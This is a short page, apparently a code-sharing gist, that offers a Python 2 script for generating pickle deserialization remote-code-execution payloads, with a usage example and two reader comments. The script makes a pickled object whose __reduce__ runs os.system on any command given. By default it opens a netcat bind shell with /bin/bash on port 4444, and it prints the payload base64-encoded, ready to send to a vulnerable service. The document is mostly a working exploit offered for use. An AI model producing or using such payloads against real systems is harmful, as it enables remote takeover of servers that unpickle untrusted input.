Python's Pickle Remote Code Execution payload template.

pickle-payload.py

#!/usr/bin/python
#
# Pickle deserialization RCE payload.
# To be invoked with command to execute at it's first parameter.
# Otherwise, the default one will be used.
#

import cPickle
import sys
import base64

DEFAULT_COMMAND = "netcat -c '/bin/bash -i' -l -p 4444"
COMMAND = sys.argv[1] if len(sys.argv) > 1 else DEFAULT_COMMAND

class PickleRce(object):
    def __reduce__(self):
        import os
        return (os.system,(COMMAND,))

print base64.b64encode(cPickle.dumps(PickleRce()))

Usage example:

C:\Users\pickle> python D:\devel\pickle.py "uname -a"
Y250CnN5c3RlbQpwMQooUyd1bmFtZSAtYScKcDIKdFJwMwou

Thanks much =)

Worked like a charm. How would this change in python3 though?